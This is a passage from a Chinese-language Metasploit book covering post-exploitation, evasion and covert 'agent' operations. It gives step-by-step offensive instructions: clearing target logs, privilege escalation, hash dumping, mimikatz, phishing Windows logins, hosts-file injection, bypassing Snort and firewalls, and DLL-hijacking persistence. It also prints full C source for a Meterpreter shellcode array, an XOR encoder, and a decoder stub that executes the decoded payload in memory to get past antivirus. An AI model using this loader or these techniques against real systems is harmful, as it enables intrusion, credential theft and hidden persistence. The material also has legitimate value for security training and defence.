Metasploit 提供了一个很酷的命令来搜索有趣的文件，可以进一步下载。我们可以使用search命令列出所有具有特定文件扩展名的文件，例如*.doc、*.xls等，如下所示：

！

使用clearev命令从目标中清除日志

可以使用clearev命令清除目标系统的所有日志：

！

然而，如果你不是执法人员，你不应该清除目标的日志，因为日志为蓝队提供了重要信息，以加强他们的防御。另一个用于处理日志的优秀模块，称为event_manager，存在于 Metasploit 中，并且可以如下截图所示使用：

让我们在下一节中深入了解 Metasploit 的高级扩展功能。

Metasploit 的高级扩展功能

在本章中，我们已经涵盖了许多后渗透技术。现在让我们在本节中介绍一些 Metasploit 的高级功能。

使用 pushm 和 popm 命令

Metasploit 提供了两个很棒的命令，pushm和popm。pushm命令将当前模块推送到模块堆栈上，而popm则从模块堆栈顶部弹出推送的模块；然而，这不是进程可用的标准堆栈。相反，这是 Metasploit 利用相同概念，但与之无关。使用这些命令的优势是快速操作，节省了大量时间和精力。

考虑这样一个场景，我们正在测试一个具有多个漏洞的内部服务器。在内部网络的每台计算机上都运行着两个可利用的服务。为了利用每台机器上的两个服务，我们需要在两个漏洞之间快速切换模块的机制，而不离开选项。在这种情况下，我们可以使用pushm和popm命令。我们可以使用一个模块测试服务器的单个漏洞，然后可以将模块推送到堆栈上并加载另一个模块。完成第二个模块的任务后，我们可以使用popm命令从堆栈中弹出第一个模块，所有选项都保持不变。

让我们通过下面的截图了解更多关于这个概念：

在上面的截图中，我们可以看到我们使用pushm命令将psexec模块推送到堆栈上，并加载了exploit/multi/handler模块。一旦我们完成了multi/handler模块的操作，我们可以使用popm命令从堆栈中重新加载psexec模块，如下图所示：

我们可以看到psexec模块的所有选项都被保存了，堆栈上的模块也是如此。因此，我们不需要再次设置选项。

利用重新加载、编辑和重新加载所有命令加快开发速度

在模块的开发阶段，我们可能需要多次测试一个模块。每次对新模块进行更改时都关闭 Metasploit 是一项繁琐、令人厌倦和耗时的任务。必须有一种机制使模块开发变得简单、快捷和有趣。幸运的是，Metasploit 提供了reload、edit和reload_all命令，使模块开发者的生活相对容易。我们可以使用edit命令即时编辑任何 Metasploit 模块，并使用reload命令重新加载编辑后的模块，而无需关闭 Metasploit。如果对多个模块进行了更改，我们可以使用reload_all命令一次重新加载所有 Metasploit 模块。

让我们看一个例子：

在上面的截图中，我们正在编辑exploit/windows/ftp目录中的freefloatftp_user.rb漏洞，因为我们发出了edit命令。我们将有效载荷大小从444更改为448，并保存了文件。接下来，我们需要发出reload命令来更新 Metasploit 中模块的源代码，如下图所示：

使用reload命令，我们消除了在开发新模块时重新启动 Metasploit 的需要。

edit命令在 vi 编辑器中启动 Metasploit 模块进行编辑。在www.tutorialspoint.com/unix/unix-vi-editor.htm了解更多关于 vi 编辑器命令的信息。

利用资源脚本

Metasploit 通过资源脚本提供自动化。资源脚本通过自动设置一切来消除手动设置选项的任务，从而节省了设置模块和有效载荷选项所需的时间。

创建资源脚本有两种方法：一种是手动创建脚本，另一种是使用makerc命令。我建议使用makerc命令而不是手动编写脚本，因为它可以消除打字错误。makerc命令会将之前输入的所有命令保存在一个文件中，该文件可以与resource命令一起使用。让我们看一个例子：

我们可以看到，在前面的截图中，我们通过设置相关有效载荷和选项（如LHOST和LPORT）来启动了一个利用处理程序模块。发出makerc命令将系统地将所有这些命令保存到我们选择的文件中，本例中为multi_hand。我们可以看到，makerc成功地将最后六个命令保存到multi_hand资源文件中。让我们按以下方式使用资源脚本：

我们可以看到，只需发出resource命令，然后跟上我们的脚本，它就会自动复制我们保存的所有命令，从而消除了重复设置选项的任务。

在 Metasploit 中使用 AutoRunScript

Metasploit 还提供了使用AutoRunScript的另一个很棒的功能。AutoRunScript选项可以通过发出show advanced命令来填充。AutoRunScript可以自动执行后渗透，并在获得对目标的访问后执行。我们可以通过发出set AutoRunScript [script-name]命令手动设置AutoRunScript选项，或者在资源脚本本身中设置，从而自动化利用和后渗透。

AutoRunScript也可以通过使用multi_script和multi_console_command模块运行多个后渗透脚本。让我们以一个例子来说明，其中有两个脚本，一个用于自动化利用，另一个用于自动化后渗透，如下面的截图所示：

这是一个小的后渗透脚本，自动化了checkvm（用于检查目标是否在虚拟环境中运行的模块）和migrate（帮助从被利用的进程迁移到更安全的进程的模块）。让我们来看一下利用脚本：

前面的资源脚本通过设置所有必需的参数来自动化 HFS 文件服务器的利用。我们还使用multi_console_command选项设置了AutoRunScript选项，该选项允许执行多个后渗透脚本。我们使用-rc开关将后渗透脚本定义为multi_console_command，如前面的截图所示。

让我们运行利用脚本，并在下面的截图中分析其结果：

我们可以看到，在利用完成后不久，执行了checkvm和migrate模块，这表明目标是Sun VirtualBox Virtual Machine，并且进程已迁移到notepad.exe。我们可以在输出的剩余部分中看到脚本的成功执行：

我们成功迁移到了notepad.exe进程；但是，如果有多个notepad.exe实例，进程迁移也可能跳过其他进程。

在 AutoRunScript 选项中使用 multiscript 模块

我们还可以使用multiscript模块代替multi_console_command模块。让我们创建一个新的后渗透脚本，如下所示：

正如我们在前面的屏幕截图中所看到的，我们创建了一个名为multi_scr.rc的新后渗透脚本。我们需要对我们的利用脚本进行更改以适应这些更改，如下所示：

我们仅仅用multiscript替换了multi_console_command，并更新了我们的后渗透脚本的路径，如前面的屏幕截图所示。让我们看看当我们运行exploit脚本时会发生什么：

我们可以看到，在获得对目标的访问权限之后，checkvm模块被执行，然后是migrate、get_env和event_manager命令，如下面的屏幕截图所示：

event_manager模块显示了来自目标系统的所有日志，因为我们在我们的资源脚本中使用了-i开关。event_manager命令的结果如下：

使用 Metasploit 进行权限提升

在渗透测试中，我们经常遇到有限的访问权限的情况，如果我们运行诸如hashdump之类的命令，可能会出现以下错误：

在这种情况下，如果我们尝试使用getsystem命令获取系统权限，我们会得到以下错误：

那么，在这种情况下我们该怎么办呢？答案是使用后渗透来提升权限，以实现最高级别的访问。以下演示是在 Windows Server 2008 SP1 操作系统上进行的，我们使用本地漏洞来绕过限制并完全访问目标：

在前面的屏幕截图中，我们使用了exploit/windows/local/ms10_015_kitrap0d漏洞来提升权限，并获得了最高级别的访问权限。让我们使用getuid命令来检查访问级别：

现在，我们可以看到我们已经具有系统级别的访问权限，并且现在可以在目标上执行任何操作。

有关 KiTrap0D 漏洞的更多信息，请参阅docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/ms10-015。

现在让我们运行hashdump命令，并检查它是否有效：

太棒了！我们轻松地得到了哈希值。

使用 mimikatz 在明文中查找密码

mimikatz是 Metasploit 的一个很好的补充，可以从 lsass 服务中以明文形式恢复密码。我们已经使用了通过传递哈希攻击来使用哈希值；然而，有时也可能需要密码来节省时间，以及用于 HTTP 基本身份验证的使用，后者需要对方知道密码而不是哈希值。

可以使用 Metasploit 中的load mimikatz命令加载 mimikatz。可以使用 mimikatz 模块提供的kerberos命令来查找密码：

使用 Metasploit 嗅探流量

是的，Metasploit 确实提供了从目标主机嗅探流量的功能。我们不仅可以嗅探特定接口，还可以嗅探目标上的任何指定接口。要运行此模块，我们首先需要列出所有接口，并在其中选择任何一个：

我们可以看到我们有多个接口。让我们开始在无线接口上进行嗅探，该接口被分配为 ID2，如下面的屏幕截图所示：

我们通过在无线接口上使用 ID 为2的sniffer_start命令和1000数据包作为缓冲区大小来启动嗅探器。通过发出sniffer_dump命令，我们成功下载了 PCAP。让我们看看通过在 Wireshark 中启动捕获的 PCAP 文件来收集了什么数据。我们可以通过发出以下命令来做到这一点：

我们可以在 PCAP 文件中看到各种数据，包括 DNS 查询、HTTP 请求和明文密码：

使用 Metasploit 进行 host 文件注入

我们可以通过注入 host 文件对目标进行各种钓鱼攻击。我们可以为特定域添加 host 文件条目，从而轻松利用我们的钓鱼攻击。

让我们看看如何使用 Metasploit 进行 host 文件注入：

我们可以看到我们在SESSION 1上使用了post/windows/manage/inject_host模块，并将条目插入了目标的 host 文件。让我们看看当目标打开www.yahoo.com/时会发生什么：

我们可以看到目标被重定向到我们的恶意服务器，这可以轻松地托管钓鱼页面。

钓取 Windows 登录密码

Metasploit 包括一个可以钓取登录密码的模块。它生成一个类似于真实 Windows 弹出窗口的登录弹出窗口，可以收集凭据，由于它伪装成合法的登录，用户被迫填写凭据，然后继续进行此操作。我们可以通过运行post/windows/gather/phish_login_pass来钓取用户的登录。一旦我们运行这个模块，假的登录框就会在目标处弹出，如下面的屏幕截图所示：

一旦目标填写凭据，我们将以纯文本形式提供凭据，如下面的屏幕截图所示：

哇！我们轻松地获得了凭据。正如我们在本章中所看到的，Metasploit 通过与独立工具（如 mimikatz 和本地脚本）合作，为后渗透提供了大量出色的功能。

总结和练习

在本章中，我们详细介绍了后渗透。我们从基本到高级的后渗透场景进行了讨论。我们还研究了在 Windows 环境中的特权升级以及其他一些高级技术。

以下是你应该自己尝试的练习：

• 为那些 Metasploit 中尚不存在的功能开发自己的后渗透模块

• 开发自动化脚本以获取访问权限、保持访问权限和清除痕迹。

• 尝试为基于 Linux 的操作系统贡献至少一个 Metasploit 的后渗透模块

在下一章中，我们将利用本章中涵盖的大部分后渗透技巧来规避和逃避目标系统的保护。我们将执行一些最尖端的 Metasploit Kung Fu，并尝试击败杀毒软件和防火墙。

第十九章：Metasploit 的逃避

在过去的八章中，我们已经涵盖了渗透测试的主要阶段。在本章中，我们将包括渗透测试人员在现实场景中可能遇到的问题。过去的简单攻击可以在 Metasploit 中弹出一个 shell 的日子已经一去不复返。随着攻击面的增加，安全视角也逐渐增加。因此，需要巧妙的机制来规避各种性质的安全控制。在本章中，我们将探讨可以防止部署在目标端点的安全控制的不同方法和技术。在本章的整个过程中，我们将涵盖：

• 绕过 AV 检测 Meterpreter 负载

• 绕过 IDS 系统

• 绕过防火墙和被阻止的端口

所以，让我们开始逃避技术。

使用 C 封装和自定义编码器规避 Meterpreter

Meterpreter 是安全研究人员使用最广泛的负载之一。然而，由于其流行，大多数 AV 解决方案都会检测到它，并很快被标记。让我们使用 msfvenom 生成一个简单的 Metasploit 可执行文件，如下所示：

我们使用 msfvenom 命令创建了一个简单的反向 TCP Meterpreter 可执行后门。此外，我们已经提到了 LHOST 和 LPORT，然后是格式，即 PE/COFF 可执行文件的 EXE。我们还通过使用 -b 开关来防止空字符、换行和回车坏字符。我们可以看到可执行文件已成功生成。让我们将这个可执行文件移动到 apache 文件夹，并尝试在由 Windows Defender 和奇虎 360 杀毒软件保护的 Windows 10 操作系统上下载并执行它。但是，在运行之前，让我们按照以下方式启动匹配处理程序：

我们可以看到我们在端口 4444 上启动了一个匹配处理程序作为后台作业。让我们尝试在 Windows 系统上下载并执行 Meterpreter 后门，并检查是否能够获得反向连接：

哎呀！看起来 AV 甚至不允许文件下载。嗯，在普通 Meterpreter 负载后门的情况下，这是相当典型的。让我们快速计算 Sample.exe 文件的 MD5 哈希如下：

让我们检查一个流行的在线 AV 扫描器上的文件，比如 nodistribute.com/，如下所示：

嗯！我们可以看到 27/37 个杀毒软件解决方案检测到了该文件。相当糟糕，对吧？让我们看看如何通过使用 C 编程和一点编码来规避这种情况。让我们开始吧。

在 C 中编写自定义 Meterpreter 编码器/解码器

为了规避目标的安全控制，我们将使用自定义编码方案，比如 XOR 编码，然后再加上一两种其他编码。此外，我们将不使用传统的 PE/COFF 格式，而是生成 shellcode 来解决问题。让我们像之前为 PE 格式那样使用 msfvenom。但是，我们将把输出格式改为 C，如下面的截图所示：

查看 Sample.c 文件的内容，我们有以下内容：

由于我们已经准备好 shellcode，我们将在 C 中构建一个编码器，它将使用我们选择的字节 0xAA 进行 XOR 编码，如下所示：

让我们看看如何创建一个 C 编码器程序，如下所示：

#include <Windows.h>
#include "stdafx.h"
#include <iostream>
#include <iomanip>
#include <conio.h>
unsigned char buf[] =
"\xbe\x95\xb2\x95\xfe\xdd\xc4\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x56\x83\xc2\x04\x31\x72\x0f\x03\x72\x9a\x50\x60\x02\x4c\x16"
"\x8b\xfb\x8c\x77\x05\x1e\xbd\xb7\x71\x6a\xed\x07\xf1\x3e\x01"
"\xe3\x57\xab\x92\x81\x7f\xdc\x13\x2f\xa6\xd3\xa4\x1c\x9a\x72"
"\x26\x5f\xcf\x54\x17\x90\x02\x94\x50\xcd\xef\xc4\x09\x99\x42"
"\xf9\x3e\xd7\x5e\x72\x0c\xf9\xe6\x67\xc4\xf8\xc7\x39\x5f\xa3"
"\xc7\xb8\x8c\xdf\x41\xa3\xd1\xda\x18\x58\x21\x90\x9a\x88\x78"
"\x59\x30\xf5\xb5\xa8\x48\x31\x71\x53\x3f\x4b\x82\xee\x38\x88"
"\xf9\x34\xcc\x0b\x59\xbe\x76\xf0\x58\x13\xe0\x73\x56\xd8\x66"
"\xdb\x7a\xdf\xab\x57\x86\x54\x4a\xb8\x0f\x2e\x69\x1c\x54\xf4"
"\x10\x05\x30\x5b\x2c\x55\x9b\x04\x88\x1d\x31\x50\xa1\x7f\x5d"
"\x95\x88\x7f\x9d\xb1\x9b\x0c\xaf\x1e\x30\x9b\x83\xd7\x9e\x5c"
"\x92\xf0\x20\xb2\x1c\x90\xde\x33\x5c\xb8\x24\x67\x0c\xd2\x8d"
"\x08\xc7\x22\x31\xdd\x7d\x29\xa5\x1e\x29\x27\x50\xf7\x2b\x38"
"\x8b\x5b\xa2\xde\xfb\x33\xe4\x4e\xbc\xe3\x44\x3f\x54\xee\x4b"
"\x60\x44\x11\x86\x09\xef\xfe\x7e\x61\x98\x67\xdb\xf9\x39\x67"
"\xf6\x87\x7a\xe3\xf2\x78\x34\x04\x77\x6b\x21\x73\x77\x73\xb2"
"\x16\x77\x19\xb6\xb0\x20\xb5\xb4\xe5\x06\x1a\x46\xc0\x15\x5d"
"\xb8\x95\x2f\x15\x8f\x03\x0f\x41\xf0\xc3\x8f\x91\xa6\x89\x8f"
"\xf9\x1e\xea\xdc\x1c\x61\x27\x71\x8d\xf4\xc8\x23\x61\x5e\xa1"
"\xc9\x5c\xa8\x6e\x32\x8b\xaa\x69\xcc\x49\x85\xd1\xa4\xb1\x95"
"\xe1\x34\xd8\x15\xb2\x5c\x17\x39\x3d\xac\xd8\x90\x16\xa4\x53"
"\x75\xd4\x55\x63\x5c\xb8\xcb\x64\x53\x61\xfc\x1f\x1c\x96\xfd"
"\xdf\x34\xf3\xfe\xdf\x38\x05\xc3\x09\x01\x73\x02\x8a\x36\x8c"
"\x31\xaf\x1f\x07\x39\xe3\x60\x02";

int main()
{
 for (unsigned int i = 0; i < sizeof buf; ++i)
 {
  if (i % 15 == 0)
  {
   std::cout << "\"\n\"";
  }
  unsigned char val = (unsigned int)buf[i] ^ 0xAA;
  std::cout << "\\x" << std::hex << (unsigned int)val;
 }
 _getch();
 return 0;
}

这是一个直接的程序，我们将生成的 shellcode 复制到一个数组buf[]中，然后简单地迭代并对每个字节使用0xAA字节进行 Xor，并将其打印在屏幕上。编译和运行此程序将输出以下编码的有效负载：

现在我们有了编码的有效负载，我们需要编写一个解密存根可执行文件，它将在执行时将此有效负载转换为原始有效负载。解密存根可执行文件实际上将是交付给目标的最终可执行文件。要了解目标执行解密存根可执行文件时会发生什么，我们可以参考以下图表：

我们可以看到，在执行时，编码的 shellcode 被解码为其原始形式并执行。让我们编写一个简单的 C 程序来演示这一点，如下所示：

#include"stdafx.h"
#include <Windows.h>
#include <iostream>
#include <iomanip>
#include <conio.h>
unsigned char encoded[] =
"\x14\x3f\x18\x3f\x54\x77\x6e\x73\xde\x8e\x5e\xf0\x9b\x63\x1b"
"\xfc\x29\x68\xae\x9b\xd8\xa5\xa9\xd8\x30\xfa\xca\xa8\xe6\xbc"
"\x21\x51\x26\xdd\xaf\xb4\x17\x1d\xdb\xc0\x47\xad\x5b\x94\xab"
"\x49\xfd\x01\x38\x2b\xd5\x76\xb9\x85\xc\x79\x0e\xb6\x30\xd8"
"\x8c\xf5\x65\xfe\xbd\x3a\xa8\x3e\xfa\x67\x45\x6e\xa3\x33\xe8"
"\x53\x94\x7d\xf4\xd8\xa6\x53\x4c\xcd\x6e\x52\x6d\x93\xf5\x9"
"\x6d\x12\x26\x75\xeb\x9\x7b\x70\xb2\xf2\x8b\x3a\x30\x22\xd2"
"\xf3\x9a\x5f\x1f\x2\xe2\x9b\xdb\xf9\x95\xe1\x28\x44\x92\x22"
"\x53\x9e\x66\xa1\xf3\x14\xdc\x5a\xf2\xb9\x4a\xd9\xfc\x72\xcc"
"\x71\xd0\x75\x01\xfd\x2c\xfe\xe0\x12\xa5\x84\xc3\xb6\xfe\x5e"
"\xba\xaf\x9a\xf1\x86\xff\x31\xae\x22\xb7\x9b\xfa\xb\xd5\xf7"
"\x3f\x22\xd5\x37\x1b\x31\xa6\x5\xb4\x9a\x31\x29\x7d\x34\xf6"
"\x38\x5a\x8a\x18\xb6\x3a\x74\x99\xf6\x12\x8e\xcd\xa6\x78\x27"
"\xa2\x6d\x88\x9b\x77\xd7\x83\xf\xb4\x83\x8d\xfa\x5d\x81\x92"
"\x21\xf1\x8\x74\x51\x99\x4e\xe4\x16\x49\xee\x95\xfe\x44\xe1"
"\xca\xee\xbb\x2c\xa3\x45\x54\xd4\xcb\x32\xcd\x71\x53\x93\xcd"
"\x5c\x2d\xd0\x49\x58\xd2\x9e\xae\xdd\xc1\x8b\xd9\xdd\xd9\x18"
"\xbc\xdd\xb3\x1c\x1a\x8a\x1f\x1e\x4f\xac\xb0\xec\x6a\xbf\xf7"
"\x12\x3f\x85\xbf\x25\xa9\xa5\xeb\x5a\x69\x25\x3b\xc\x23\x25"
"\x53\xb4\x40\x76\xb6\xcb\x8d\xdb\x27\x5e\x62\x89\xcb\xf4\xb"
"\x63\xf6\x2\xc4\x98\x21\x00\xc3\x66\xe3\x2f\x7b\xe\x1b\x3f"
"\x4b\x9e\x72\xbf\x18\xf6\xbd\x93\x97\x6\x72\x3a\xbc\xe\xf9"
"\xdf\x7e\xff\xc9\xf6\x12\x61\xce\xf9\xcb\x56\xb5\xb6\x3c\x57"
"\x75\x9e\x59\x54\x75\x92\xaf\x69\xa3\xab\xd9\xa8\x20\x9c\x26"
"\x9b\x5\xb5\xad\x93\x49\xca\xa8\xaa";
int main()
{
 void *exec = VirtualAlloc(0, sizeof encoded, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

 for (unsigned int i = 0; i < sizeof encoded; ++i)
 {
  unsigned char val = (unsigned int)encoded[i] ^ 0xAA;
  encoded[i] = val;
 }
 memcpy(exec, encoded, sizeof encoded);
 ((void(*)())exec)();
 return 0;
}

再次，一个非常直接的程序；我们使用VirtualAlloc函数在调用程序的虚拟地址空间中保留空间。我们还使用memcpy将解码后的字节复制到VirtualAlloc指针保留的空间中。接下来，我们执行指针处保存的字节。所以，让我们测试一下我们的程序，看看它在目标环境中的运行情况。我们将按照相同的步骤进行；让我们找到程序的 MD5 哈希如下：

让我们尝试下载和执行程序如下：

下载没有问题！耶！这是一个正常的弹出窗口，显示文件未知；没有什么可担心的。让我们尝试执行文件，如下所示：

砰砰！我们成功获得了在 64 位 Windows 10 操作系统上运行奇虎 360 高级杀毒软件的目标的 Meterpreter 访问权限，完全受保护和补丁。让我们也在nodistribute.com/上试一试：

我们可以看到，一些杀毒软件解决方案仍然将可执行文件标记为恶意软件。然而，我们的技术绕过了一些主要的参与者，包括 Avast、AVG、Avira、卡巴斯基、Comodo，甚至诺顿和麦克菲。其余的九个杀毒软件解决方案也可以通过一些技巧绕过，比如延迟执行、文件泵送等。让我们通过右键单击并使用奇虎 360 杀毒软件进行扫描来确认检查：

一切都没有问题！在整个过程中，我们看到了有效负载从可执行状态到 shellcode 形式的过程。我们看到了一个小型自定义解码器应用程序在绕过 AV 解决方案时的神奇效果。

使用 Metasploit 规避入侵检测系统

如果入侵检测系统存在，您在目标上的会话可能会很短暂。Snort，一种流行的 IDS 系统，可以在发现网络上的异常时生成快速警报。考虑以下利用启用了 Snort IDS 的目标的 Rejetto HFS 服务器的情况：

我们可以看到我们成功获得了 Meterpreter 会话。然而，右侧的图像显示了一些一级问题。我必须承认，Snort 团队和社区创建的规则非常严格，有时很难绕过。然而，为了最大限度地覆盖 Metasploit 规避技术，并为了学习的目的，我们创建了一个简单的规则来检测易受攻击的 HFS 服务器上的登录，如下所示：

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Rejetto HttpFileServer Login attempt"; content:"GET"; http_method; classtype:web-application-attack; sid:1000001;) 

上述规则是一个简单的规则，建议如果来自外部网络的任何GET请求在 HTTP 端口上使用任何端口到目标网络，则必须显示消息。您能想到我们如何绕过这样一个标准规则吗？让我们在下一节讨论一下。

使用随机案例进行娱乐和利润

由于我们正在处理 HTTP 请求，我们可以始终使用 Burp repeater 来帮助快速测试。因此，让我们并排使用 Snort 和 Burp 进行一些测试：

我们可以看到，一旦我们向目标 URI 发送请求，它就会被记录到 Snort 中，这不是好消息。尽管如此，我们看到了规则，我们知道 Snort 试图将GET的内容与请求中的内容进行匹配。让我们尝试修改GET请求的大小写并重复请求如下：

没有生成新的日志！很好。我们刚刚看到了如何改变方法的大小写并愚弄一个简单的规则。但是，我们仍然不知道如何在 Metasploit 中实现这种技术。让我向你介绍规避选项：

我们可以看到有很多规避选项可供我们选择。我知道你已经猜到了这一点。但是，如果你没有，我们将在这里使用HTTP::method_random_case选项，并按以下方式重试利用：

让我们按以下方式利用目标：

我们很干净！是的！我们轻松地规避了规则。让我们在下一节中尝试一些更复杂的场景。

使用伪装目录来愚弄 IDS 系统

与以前的方法类似，我们可以在 Metasploit 中使用伪装目录来最终得出相同的结论。让我们看看以下规则集：

我们可以看到前面的 Snort 规则检查传入数据包中的POST /script内容。我们可以用多种方法做到这一点，但让我们使用一种新方法，即伪装目录关系。这种技术将在到达相同目录时添加以前的随机目录；例如，如果文件存在于/Nipun/abc.txt文件夹中，模块将使用类似/root/whatever/../../Nipun/abc.txt的内容，这意味着它使用了其他目录，最终又回到了相同的目录。因此，这使得 URL 足够长，以提高 IDS 的效率循环。让我们考虑一个例子。

在这个练习中，我们将使用 Jenkins script_console命令执行漏洞来利用运行在192.168.1.149上的目标，如下截图所示：

我们可以看到 Jenkins 运行在目标 IP 192.168.1.149的端口8888上。让我们使用exploit/multi/http/Jenkins_script_console module来利用目标。我们已经设置了RHOST、RPORT和TARGEURI等选项。让我们来利用系统：

成功！我们可以看到我们轻松地获得了对目标的 Meterpreter 访问。让我们看看 Snort 为我们准备了什么：

看起来我们刚刚被发现了！让我们在 Metasploit 中设置以下规避选项：

现在让我们重新运行利用程序，看看 Snort 中是否有任何信息：

Snort 中没有任何信息！让我们看看我们的利用进行得如何：

不错！我们再次规避了 Snort！随意尝试所有其他 Snort 规则，以更好地了解幕后的运作方式。

绕过 Windows 防火墙封锁的端口

当我们尝试在 Windows 目标系统上执行 Meterpreter 时，可能永远无法获得 Meterpreter 访问。这在管理员封锁了系统上的特定端口时很常见。在这个例子中，让我们尝试用一个聪明的 Metasploit 有效载荷来规避这种情况。让我们快速设置一个场景如下：

我们可以看到我们已经设置了一个新的防火墙规则，并指定了端口号4444-6666。继续下一步，我们将选择阻止这些出站端口，如下面的屏幕截图所示：

让我们检查防火墙状态和我们的规则：

我们可以看到规则已经设置，并且我们的防火墙在家庭和公共网络上都已启用。考虑到我们在目标上运行了 Disk Pulse Enterprise 软件。我们已经在前几章中看到我们可以利用这个软件。让我们尝试执行利用：

我们可以看到利用确实运行了，但我们没有访问目标，因为防火墙在端口4444上阻止了我们。

在所有端口上使用反向 Meterpreter

为了规避这种情况，我们将使用windows/meterpreter/reverse_tcp_allports有效载荷，它将尝试每个端口，并为我们提供对未被阻止的端口的访问。此外，由于我们只在端口4444上监听，我们需要将所有随机端口的流量重定向到我们端口4444。我们可以使用以下命令来实现：

让我们再次使用反向tcp meterpreter有效载荷在所有端口上执行利用：

我们可以看到我们轻松地获得了对目标的 Meterpreter 访问。我们规避了 Windows 防火墙并获得了 Meterpreter 连接。这种技术在管理员对入站和出站端口采取积极态度的情况下非常有益。

此时，您可能会想知道前面的技术是否很重要，对吗？或者，您可能会感到困惑。让我们在 Wireshark 中查看整个过程，以了解数据包级别的情况：

我们可以看到最初，来自我们 kali 机器的数据被发送到端口80，导致缓冲区溢出。一旦攻击成功，目标系统与端口6667（在被阻止的端口范围之后的第一个端口）建立了连接。此外，由于我们将所有端口从4444-7777路由到端口4444，它被路由并最终回到端口4444，我们获得了 Meterpreter 访问权限。

总结和练习

在本章中，我们学习了使用自定义编码器的 AV 规避技术，我们绕过了 IDS 系统的签名匹配，还使用了所有 TCP 端口 Meterpreter 有效载荷避开了 Windows 防火墙封锁的端口。

您可以尝试以下练习来增强您的规避技能：

• 尝试延迟有效载荷的执行，而不使用解码器中的sleep()函数，并分析检测比率的变化

• 尝试使用其他逻辑操作，如 NOT，双重 XOR，并使用简单的密码，如 ROT 与有效载荷

• 绕过至少 3 个 Snort 签名并修复它们

• 学习并使用 SSH 隧道来绕过防火墙

下一章将大量依赖这些技术，并深入探讨 Metasploit。

第二十章：秘密特工的 Metasploit

本章介绍了执法机构将主要使用的各种技术。本章讨论的方法将扩展 Metasploit 的用途到监视和攻击性网络行动。在本章中，我们将探讨：

• 保持匿名的程序

• 在有效负载中使用混淆

• 使用 APT 技术实现持久性

• 从目标中获取文件

• Python 在 Metasploit 中的力量

在 Meterpreter 会话中保持匿名性

作为执法人员，建议您在整个命令和控制会话中保持匿名性。然而，大多数执法机构使用 VPS 服务器来进行命令和控制软件，这是很好的，因为它们在其端点内引入了代理隧道。这也是执法人员可能不使用 Metasploit 的另一个原因，因为在您和目标之间添加代理是微不足道的。

让我们看看如何规避这种情况，使 Metasploit 不仅可用，而且成为执法机构的首选。考虑以下情景：

我们可以看到图中有三个公共 IP。我们的目标是106.215.26.19，我们的 Metasploit 实例正在185.91.2xx.xxx上的端口8443上运行。我们可以利用 Metasploit 的强大功能，在这里生成一个反向 HTTPS 有效负载，该有效负载提供了内置的代理服务。让我们创建一个简单的代理有效负载，如下面的屏幕截图所示：

我们可以看到，我们已经将HTTPProxyHost和HTTPProxyPort设置为我们的代理服务器，该服务器是运行 CCProxy 软件的基于 Windows 的操作系统，如下面的屏幕截图所示：

CCProxy 软件是 Windows 的代理服务器软件。我们可以轻松配置端口，甚至进行身份验证。通常最好实施身份验证，以便没有人可以在没有正确凭据的情况下使用您的代理。您可以在使用HttpProxyPass和HttpProxyUser选项生成有效负载时定义凭据。接下来，我们需要在185.92.2xx.xxx服务器上启动处理程序，如下面的屏幕截图所示：

太棒了！我们可以看到我们很快就访问了我们的代理服务器。这意味着我们不再需要将我们的 Metasploit 设置从一个服务器移动到另一个服务器；我们可以有一个中间代理服务器，可以随时更改。让我们检查处理程序服务器上的流量，并检查我们是否从目标处获得任何直接命中：

不。我们从代理服务器得到了所有命中。我们刚刚看到了如何使用中间代理服务器对我们的 Metasploit 端点进行匿名化。

利用常见软件中的漏洞保持访问

DLL 搜索顺序劫持/DLL 植入技术是我最喜欢的持久性获取方法之一，可以在长时间访问中躲避管理员的监视。让我们在下一节中讨论这种技术。

DLL 搜索顺序劫持

顾名思义，DLL 搜索顺序劫持漏洞允许攻击者劫持程序加载的 DLL 的搜索顺序，并使他们能够插入恶意 DLL 而不是合法的 DLL。

大多数情况下，一旦执行软件，它将在当前文件夹和System32文件夹中查找 DLL 文件。然而，有时在当前目录中找不到 DLL 时，它们会在System32文件夹中搜索，而不是直接从System32加载它们。攻击者可以利用这种情况，在当前文件夹中放置一个恶意 DLL 文件，并劫持本来应该直接从System32加载 DLL 的流程。让我们通过下面的图示来理解这一点：

从前面的图表中，我们可以看到一个应用程序一旦执行，就会加载三个 DLL 文件，分别是 xx1、xx2 和 xx3。但是，它还会搜索一个当前目录中不存在的yy1.dll文件。在当前文件夹中找不到yy1.dll意味着程序将从System32文件夹跳转到yy1.dll。现在，假设攻击者将一个名为yy1.dll的恶意 DLL 文件放入应用程序的当前文件夹。执行将永远不会跳转到System32文件夹，并且将加载恶意植入的 DLL 文件，认为它是合法的。这些情况最终将为攻击者提供一个看起来很漂亮的 Meterpreter shell。因此，让我们尝试在标准应用程序（如 VLC 播放器）上进行如下操作：

让我们创建一个名为CRYPTBASE.dll的 DLL 文件。CryptBase 文件是大多数应用程序随附的通用文件。但是，VLC 播放器应该直接从 System32 引用它，而不是从当前目录引用它。为了劫持应用程序的流程，我们需要将此文件放在 VLC 播放器的程序文件目录中。因此，检查将不会失败，并且永远不会转到 System32。这意味着这个恶意的 DLL 将执行，而不是原始的 DLL。假设我们在目标端有一个 Meterpreter，并且我们可以看到 VLC 播放器已经安装：

让我们浏览到 VLC 目录并将这个恶意的 DLL 上传到其中：

我们可以看到我们在目录上使用了cd并上传了恶意的 DLL 文件。让我们快速为我们的 DLL 生成一个处理程序：

我们已经准备好了。一旦有人打开 VLC 播放器，我们就会得到一个 shell。让我们尝试代表用户执行 VLC 播放器如下：

我们可以看到我们的 DLL 已成功放置在文件夹中。让我们通过 Meterpreter 运行 VLC 如下：

哇！我们可以看到，一旦我们执行了vlc.exe，我们就得到了另一个 shell。因此，我们现在可以控制系统，以便一旦有人执行 VLC，我们肯定会得到一个 shell。但是等等！让我们看看目标方面，看看一切是否顺利进行：

目标端看起来不错，但没有 VLC 播放器。我们需要以某种方式生成 VLC 播放器，因为损坏的安装可能很快被替换/重新安装。VLC 播放器崩溃是因为它无法从CRYPTBASE.DLL文件中加载正确的函数，因为我们使用了恶意 DLL 而不是原始 DLL 文件。为了解决这个问题，我们将使用后门工厂工具来设置原始 DLL 文件的后门，并使用它来代替普通的 Meterpreter DLL。这意味着我们的后门文件将恢复 VLC 播放器的正常功能，并为我们提供对系统的访问权限。

使用代码洞藏隐藏后门

